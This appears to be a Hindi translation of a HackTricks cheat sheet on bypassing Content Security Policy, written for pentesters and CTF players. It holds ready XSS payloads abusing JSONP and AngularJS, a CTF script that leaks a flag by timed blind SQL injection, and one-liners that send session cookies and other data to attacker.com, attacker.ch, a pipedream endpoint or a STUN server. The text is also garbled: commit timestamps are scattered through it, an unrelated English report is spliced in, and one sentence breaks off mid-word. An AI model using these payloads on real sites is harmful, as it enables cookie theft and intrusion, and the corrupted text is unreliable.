**अन्य एंगुलर बायपास खोजें** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
### एंगुलरजेएस और व्हाइटलिस्टेड डोमेन
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
### काम करने वाले पेलोड्स:
2022-08-12 14:24:34 +00:00
```html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
2022-12-03 17:35:56 +00:00
<!-- no longer working -->
2022-08-12 14:24:34 +00:00
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
### रिडायरेक्शन के माध्यम से बायपास
CSP को सर्वर-साइड रिडायरेक्शन का सामना कैसे करना चाहिए? अगर रिडायरेक्शन एक अलग मूल स्थान की ओर ले जाता है जो अनुमति नहीं है, तो यह फेल हो जाएगा।
हालांकि, [CSP स्पेक 4.2.2.3. पाथ्स और रिडायरेक्ट्स](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) में दी गई विवरण के अनुसार, अगर रिडायरेक्शन एक अलग पथ की ओर ले जाता है, तो यह मूल निषेधों को बायपास कर सकता है।
यहाँ एक उदाहरण है:
```html
<!DOCTYPE html>
<html>
<head>
2023-11-06 08:38:02 +00:00
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
2023-11-06 08:38:02 +00:00
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>
```
यदि CSP को `https://www.google.com/a/b/c/d` पर सेट किया गया है, क्योंकि पथ को ध्यान में रखा जाता है, इसलिए `/test` और `/a/test` स्क्रिप्ट दोनों CSP द्वारा अवरुद्ध किए जाएंगे।
हालांकि, अंतिम `http://localhost:5555/301` **सर्वर-द्वारा `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//` पर पुनर्निर्देशित किया जाएगा**। क्योंकि यह एक पुनर्निर्देशन है, **पथ को ध्यान में नहीं रखा जाता है**, और **स्क्रिप्ट लोड किया जा सकता है**, इसलिए पथ प्रतिबंध को उलटा कर दिया जा सकता है।
इस पुनर्निर्देशन के साथ, यदि पूरी तरह से पथ निर्दिष्ट किया जाता है, तो भी इसे अवरोधित किया जाएगा।
इसलिए, सबसे अच्छा समाधान यह है कि सुनिश्चित किया जाए कि वेबसाइट में कोई खुला पुनर्निर्देशन संवर्धन नहीं है और कोई डोमेन नहीं है जिसे CSP नियमों में शोषित किया जा सकता है।
### डैंगलिंग मार्कअप के साथ CSP को उल्लंघित करें
[यहाँ पढ़ें](../dangling-markup-html-scriptless-injection/).
### 'unsafe-inline'; img-src \*; via XSS
```
default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'` का मतलब है कि आप कोड के अंदर कोई भी स्क्रिप्ट निष्पादित कर सकते हैं (XSS कोड को निष्पादित कर सकता है) और `img-src *` का मतलब है कि आप वेबपेज में किसी भी स्रोत से किसी भी छवि का उपयोग कर सकते हैं।
आप इस CSP को छलकरता सकते हैं छवियों के माध्यम से डेटा बाहर ले जाकर (इस अवसर में XSS एक CSRF का दुरुपयोग करता है जहां बॉट द्वारा पहुंची जा सकने वाली पृष्ठ में एक SQLi होती है, और एक छवि के माध्यम से ध्वज निकालता है):
```javascript
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
```
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
आप इस कॉन्फ़िगरेशन का दुरुपयोग करके **एक छवि के अंदर डाले गए जावास्क्रिप्ट को लोड** कर सकते हैं। यदि उदाहरण के लिए, पृष्ठ को ट्विटर से छवियों को लोड करने की अनुमति है। तो आप **एक विशेष छवि** तैयार कर सकते हैं, इसे ट्विटर पर **अपलोड** कर सकते हैं और "**unsafe-inline**" का दुरुपयोग करके एक JS कोड (एक सामान्य XSS के रूप में) को **चलाने** के लिए उसे **कर सकते हैं** छवि, से **JS** निकालें और **इसे** **चलाएं**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
2022-06-28 23:06:59 +00:00
### सेवा कर्मचारियों के साथ
2022-12-20 11:25:07 +00:00
सेवा कर्मचारियों का **`importScripts`** फ़ंक्शन **CSP** द्वारा सीमित नहीं है:
2022-12-20 11:25:07 +00:00
{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %}
[abusing-service-workers.md](../xss-cross-site-scripting/abusing-service-workers.md)
{% endcontent-ref %}
### नीति इंजेक्शन
2023-01-04 12:21:48 +00:00
**शोध:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
2023-01-04 12:21:48 +00:00
#### Chrome
यदि आप द्वारा भेजे गए **पैरामीटर** को **नीति** के **घोषणा** के **अंदर पेस्ट** किया जा रहा है, तो आप **नीति** को उस प्रकार से **बदल** सकते हैं जिससे वह **अनर्थक** हो जाए। आप इनमें से किसी भी बाइपास के साथ स्क्रिप्ट 'unsafe-inline' को **अनुमति** दे सकते हैं:
2023-01-04 12:21:48 +00:00
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
```
क्योंकि यह निर्देशिका **मौजूदा script-src निर्देशिकाओं को अधिलेखित कर देगी**।\
आप यहाँ एक उदाहरण देख सकते हैं: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
2023-01-04 12:21:48 +00:00
#### Edge
Edge में यह काफी सरल है। यदि आप CSP में बस यह जोड़ सकते हैं: **`;_`** तो **Edge** पूरी **नीति** को **छोड़ देगा**।\
2023-11-06 08:38:02 +00:00
उदाहरण: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert\(1\)%3C/script%3E)
2023-01-04 12:21:48 +00:00
### img-src \*; via XSS (iframe) - Time attack
नोटिस करें निर्देशिका `'unsafe-inline'` की कमी को।\
इस बार आप पीड़ित को एक पृष्ठ **अपने नियंत्रण में** **XSS** के माध्यम से लोड करने के लिए कर सकते हैं `<iframe`। इस बार आप पीड़ित से जिस पृष्ठ को आप जानकारी निकालना चाहते हैं (**CSRF**) उस पृष्ठ तक पहुंचने के लिए करेंगे। आप पृष्ठ की सामग्री तक पहुंच नहीं सकते, लेकिन अगर किसी प्रकार से आप **पृष्ठ को लोड होने में समय को नियंत्रित कर सकते हैं** तो आप आवश्यक जानकारी निकाल सकते हैं।
इस बार एक **ध्वज** निकाला जाएगा, जब किसी **वर्ण को सही ढंग से अनुमानित** किया जाता है तो **प्रतिक्रिया** में **अधिक समय** लेता है नींद कार्य के कारण। फिर, आप ध्वज निकाल सकेंगे:
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
2023-11-06 08:38:02 +00:00
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}
function gen2(x) {
2023-11-06 08:38:02 +00:00
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}
2023-11-06 08:38:02 +00:00
async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}
let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'
async function run() {
2023-11-06 08:38:02 +00:00
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t = await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}
run();
</script>
```
### बुकमार्कलेट के माध्यम से
इस हमले में कुछ सामाजिक इंजीनियरिंग शामिल होगी जहां हमलावर **उपयोगकर्ता को यह धोखा देता है कि वह ब्राउज़र के बुकमार्कलेट पर एक लिंक को खींचकर छोड़े**। यह बुकमार्कलेट **हानिकारक जावास्क्रिप्ट** कोड शामिल करेगा जो जब खींचकर छोड़ा या क्लिक किया जाएगा, तो वर्तमान वेब विंडो के संदर्भ में क्रियान्वित होगा, **CSP को छलकर संवेदनशील जानकारी चुराने की अनुमति देता है** जैसे की कुकीज़ या टोकन।
अधिक जानकारी के लिए [**यहाँ मौजूदा रिपोर्ट देखें**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### CSP बाईपास द्वारा CSP की प्रतिबंधन
[**इस CTF व्रिटअप में**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP को एक अनुमति प्राप्त आईफ्रेम के अंदर एक और संकीर्ण CSP डालकर बाईपास किया गया है जो एक विशिष्ट JS फ़ाइल को लोड करने की अनुमति नहीं देता था, जिसके बाद, **प्रोटोटाइप पोल्लूशन** या **डोम क्लॉबरिंग** के माध्यम से एक विभिन्न स्क्रिप्ट का दुरुपयोग करने की अनुमति देता था एक विचित्र स्क्रिप्ट को लोड करने के लिए**।
आप एक आईफ्रेम का **CSP प्रतिबंधित** कर सकते हैं **`csp`** विशेषता के साथ:
{% code overflow="wrap" %}
```html
<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
{% endcode %}
[**इस CTF व्रिटअप में**](https://github.com/aszx87410/ctf-writeups/issues/48), **HTML इन्जेक्शन** के माध्यम से **CSP** को **और अधिक प्रतिबंधित** किया जा सकता था ताकि CSTI को रोकने वाला एक स्क्रिप्ट निषेधित हो और इसलिए **सुरक्षा दोष उत्पन्न हो सकता था.**\
CSP को **HTML मेटा टैग्स** का उपयोग करके और इनलाइन स्क्रिप्ट्स को निषेधित करके **और उनके नॉन्स की अनुमति हटाकर और विशेष इनलाइन स्क्रिप्ट को एनेबल करके** अधिक प्रतिबंधित किया जा सकता है:
```html
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
```
### JS निकासी Content-Security-Policy-Report-Only के साथ
यदि आप सर्वर को **`Content-Security-Policy-Report-Only`** हेडर के साथ प्रतिक्रिया करने के लिए प्रबंधित मूल्य के साथ प्रतिक्रिया करने में सक्षम हैं (शायद CRLF के कारण), तो आप इसे अपने सर्वर की ओर देखा सकते हैं और यदि आप **`<script>`** के साथ उस JS सामग्री को **लपेटते** हैं जिसे आप निकालना चाहते हैं और क्योंकि बहुत संभावना `unsafe-inline` को CSP द्वारा अनुमति नहीं है, तो यह एक CSP त्रुटि को **ट्रिगर** करेगा और स्क्रिप्ट का एक हिस्सा (संवेदनशील जानकारी वाला) `Content-Security-Policy-Report-Only` से सर्वर को भेज दिया जाएगा।
उदाहरण के लिए [**इस CTF व्रिटअप की जाँच करें**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
2022-06-23 12:52:13 +00:00
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
2020-09-09 09:16:35 +00:00
```javascript
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
```
### CSP और आईफ्रेम के साथ जानकारी लीक करना
2021-07-19 19:50:23 +00:00
- एक `iframe` बनाया जाता है जो एक URL की ओर पोइंट करता है (हम इसे `https://example.redirect.com` नाम देते हैं) जो CSP द्वारा अनुमति दी गई है।
- इस URL फिर एक गुप्त URL (उदाहरण के लिए, `https://usersecret.example2.com`) की ओर रीडायरेक्ट होता है जो **CSP द्वारा अनुमति नहीं** है।
- `securitypolicyviolation` इवेंट को सुनकर, `blockedURI` प्रॉपर्टी को कैप्चर किया जा सकता है। यह प्रॉपर्टी ब्लॉक हुए URI के डोमेन को प्रकट करती है, जिससे प्रारंभिक URL ने रीडायरेक्ट किया।
2021-07-19 19:50:23 +00:00
यह दिलचस्प है कि ब्राउज़र्स जैसे Chrome और Firefox में CSP के साथ आईफ्रेम को हैंडल करने के लिए विभिन्न व्यवहार हैं, जो अपरिभाषित व्यवहार के कारण संवेदनशील जानकारी का लीक हो सकता है।
2021-07-19 19:50:23 +00:00
एक और तकनीक में CSP का उपयोग करके गुप्त सबडोमेन का निर्धारण करना शामिल है। यह विधि एक बाइनरी खोज एल्गोरिदम पर निर्भर करती है और CSP का शोधन करने के लिए विशेष डोमेन शामिल करने पर आधारित है जो जानबूझकर ब्लॉक किए गए हैं। उदाहरण के लिए, अगर गुप्त सबडोमेन अज्ञात वर्णों से बना है, तो आप CSP निर्देशिका को संशोधित करके इन सबडोमेन को ब्लॉक या अनुमति देने के लिए विभिन्न सबडोमेन का परीक्षण कर सकते हैं। यहां एक स्निपेट दिखाया गया है जो इस विधि को सुविधाजनक बनाने के लिए CSP कैसे सेट किया जा सकता है:
```markdown
2021-07-19 19:50:23 +00:00
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
कंटेंट सिक्योरिटी नीति (CSP) द्वारा अनुमति दी या ब्लॉक की जाने वाली अनुरोधों का मॉनिटरिंग करके, व्यक्ति गुप्त सबडोमेन में संभावित वर्णों को संक्षेपित कर सकता है, अंततः पूर्ण URL का पता लगा सकता है।
दोनों तकनीकों में CSP के कार्यान्वयन और ब्राउज़र में व्यवहार का शोध किया जाता है, जिससे ऐसी दिखाई देने वाली सुरक्षित नीतियाँ अनजाने में संवेदनशील जानकारी छिपा सकती है।
यहाँ से ट्रिक देखें [**यहाँ**](https://ctftime.org/writeup/29310)।
2021-07-19 19:50:23 +00:00
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
2023-07-14 15:03:41 +00:00
**HackenProof Discord** में शामिल होकर अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करने के लिए सर्वर जुड़ें!
2022-10-27 23:22:18 +00:00
**हैकिंग इंसाइट्स**\
हैकिंग के उत्साह और चुनौतियों में डूबने वाली सामग्री के साथ जुड़ें
2023-02-27 09:28:45 +00:00
**रियल-टाइम हैक न्यूज़**\
रियल-टाइम समाचार और अंदरूनी दुनिया के माध्यम से तेजी से अपडेट रहें
2023-02-27 09:28:45 +00:00
**नवीनतम घोषणाएँ**\
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें
2023-02-27 09:28:45 +00:00
**हमारे साथ जुड़ें** [**Discord**](https://discord.com/invite/N3FrSbmwdy) और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
2023-07-14 15:03:41 +00:00
## CSP को छलने के लिए असुरक्षित तकनीकें
2022-10-27 23:22:18 +00:00
### PHP प्रतिक्रिया बफर ओवरलोड
2022-06-28 23:51:00 +00:00
PHP को डिफ़ॉल्ट रूप से 4096 बाइट तक की प्रतिक्रिया को बफर करने के लिए जाना जाता है। इसलिए, अगर PHP एक चेतावनी दिखा रहा है, तो **चेतावनियों में पर्याप्त डेटा प्रदान करके**, **प्रतिक्रिया** को **CSP हेडर** से **पहले** **भेज दिया जाएगा**, जिससे हेडर को नजरअंदाज किया जाएगा।\
फिर, तकनीक बुनियादी रूप से **चेतावनियों से प्रतिक्रिया बफर भरने** में है ताकि CSP हेडर न भेजा जाए।
2022-06-28 23:51:00 +00:00
विचार [**इस व्रिटअप से**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points) से आया है।
2022-06-28 23:51:00 +00:00
### त्रुटि पृष्ठ पुनरलेखन
2022-06-28 23:51:00 +00:00
[**इस व्रिटअप से**](https://blog.ssrf.kr/69) लगता है कि एक CSP सुरक्षा को छलने की संभावना थी जिसमें एक त्रुटि पृष्ठ (संभावित रूप से CSP के बिना) लोड करके और उसकी सामग्री को पुनरलेखन करके।
2022-06-28 23:51:00 +00:00
```javascript
a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
2023-11-06 08:38:02 +00:00
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
2022-06-28 23:51:00 +00:00
}, 1000);
```
### कुछ + 'self' + वर्डप्रेस
2022-06-28 23:51:00 +00:00
SOME एक तकनीक है जो एक पृष्ठ के एंडपॉइंट में XSS (या अत्यधिक सीमित XSS) का दुरुपयोग करती है **एक हमला करने के लिए** **उसी मूल स्रोत के अन्य एंडपॉइंट्स का दुरुपयोग करने के लिए.** यह एक हमला करने के लिए किया जाता है जिसमें हमलावर पृष्ठ को एक हमलावर पृष्ठ से विकल्पित एंडपॉइंट लोड करता है और फिर हमलावर पृष्ठ को उसी मूल स्रोत में वास्तविक एंडपॉइंट पर ताजगी देता है जिसे आप दुरुपयोग करना चाहते हैं. इस तरह **विकल्पित एंडपॉइंट** प्रयोग कर सकता है **`opener`** ऑब्ज
2022-04-20 21:55:42 +00:00
```javascript
2023-11-06 08:38:02 +00:00
var sessionid = document.cookie.split('=')[1]+".";
2022-04-20 21:55:42 +00:00
document.location = "https://attacker.com/?" + sessionid;
```
2023-11-06 08:38:02 +00:00
### मेटा टैग
2022-04-20 21:55:42 +00:00
आप एक मेटा टैग डालकर रीडायरेक्ट कर सकते हैं (यह केवल एक रीडायरेक्ट है, यह कंटेंट नहीं लीक होगा)
2022-04-28 13:04:05 +00:00
```html
<meta http-equiv="refresh" content="1; http://attacker.com">
```
### DNS Prefetch
2022-04-28 13:04:05 +00:00
पेज को तेजी से लोड करने के लिए, ब्राउज़र होस्टनेम को आईपी पते में पूर्व-हल करने जा रहा है और बाद में उन्हें कैश करेगा।\
आप ब्राउज़र को होस्टनेम को पूर्व-हल करने के लिए इंडिकेट कर सकते हैं: `<link reol="dns-prefetch" href="something.com">`
2022-04-20 21:55:42 +00:00
आप इस व्यवहार का दुरुपयोग कर सकते हैं **DNS अनुरोध के माध्यम से संवेदनशील जानकारी को बाहर ले जाने के लिए**:
2022-04-20 21:55:42 +00:00
```javascript
2023-11-06 08:38:02 +00:00
var sessionid = document.cookie.split('=')[1]+".";
2022-04-20 21:55:42 +00:00
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
```
## CSP Bypass using Untrusted CDN
### Description
In some scenarios, the target website may allow loading scripts from a CDN that is not included in the CSP directive. By hosting a malicious script on an untrusted CDN and including it in the target website, it may be possible to bypass the CSP restrictions.
### Proof of Concept
1. Host a malicious script on an untrusted CDN.
2. Include the script in the target website using a `<script>` tag.
3. Access the target website and observe if the script executes despite CSP restrictions.
### Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts on the target website, bypassing CSP protections.
### Recommendation
Ensure that all CDNs and external sources used in the website are trusted and included in the CSP directive to prevent such bypasses.
2022-04-20 21:55:42 +00:00
```javascript
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
```
इस से बचने के लिए सर्वर HTTP हेडर भेज सकता है:
2022-04-20 21:55:42 +00:00
```
X-DNS-Prefetch-Control: off
```
{% hint style="info" %}
शायद, यह तकनीक हेडलेस ब्राउज़र्स (बॉट्स) में काम नहीं करती है।
2022-04-20 21:55:42 +00:00
{% endhint %}
2022-06-23 12:52:13 +00:00
### WebRTC
2022-04-20 21:55:42 +00:00
कई पृष्ठों पर आप पढ़ सकते हैं कि **WebRTC `connect-src` नीति** की CSP की जांच नहीं करता है।
वास्तव में आप एक _DNS अनुरोध_ का उपयोग करके जानकारी _लीक_ कर सकते हैं। इस कोड की जाँच करें:
2022-04-20 21:55:42 +00:00
```javascript
2023-08-27 19:27:30 +00:00
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
2022-04-20 21:55:42 +00:00
```
2023-11-06 08:38:02 +00:00
एक और विकल्प:
```javascript
var pc = new RTCPeerConnection({
2023-11-06 08:38:02 +00:00
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
```
## ऑनलाइन CSP नीतियों की जांच
* [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
* [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
2023-11-06 08:38:02 +00:00
## स्वचालित रूप से CSP बनाना
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
2023-11-06 08:38:02 +00:00
## संदर्भ
2022-10-27 23:22:18 +00:00
* [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/)
* [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/)
* [https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d)
* [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme)
2022-12-03 17:35:56 +00:00
* [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg)
* [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
* [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
2022-10-27 23:22:18 +00:00
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
2023-07-14 15:03:41 +00:00
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल होकर अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!
2023-02-27 09:28:45 +00:00
**हैकिंग इंसाइट्स**\
हैकिंग के रोमांच और चुनौतियों में डूबने वाली सामग्री के साथ जुड़ें
**रियल-टाइम हैक न्यूज़**\
रियल-टाइम समाचार और अंतर्दृष्टि के माध्यम से हैकिंग दुनिया में अपडेट रहें
2023-02-27 09:28:45 +00:00
**नवीनतम घोषणाएं**\
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफॉर्म अपडेट के साथ सूचित रहें
2023-02-27 09:28:45 +00:00
**हमारे साथ जुड़ें** [**Discord**](https://discord.com/invite/N3FrSbmwdy) और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
2022-04-28 16:01:33 +00:00
* यदि आप अपनी कंपनी का विज्ञापन देखना चाहते हैं HackTricks में या HackTricks को PDF में डाउनलोड करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** पर फॉलो करें।**
* **HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में PR जमा करके अपने हैकिंग ट्रिक्स साझा करें।
2022-04-28 16:01:33 +00:00
</details>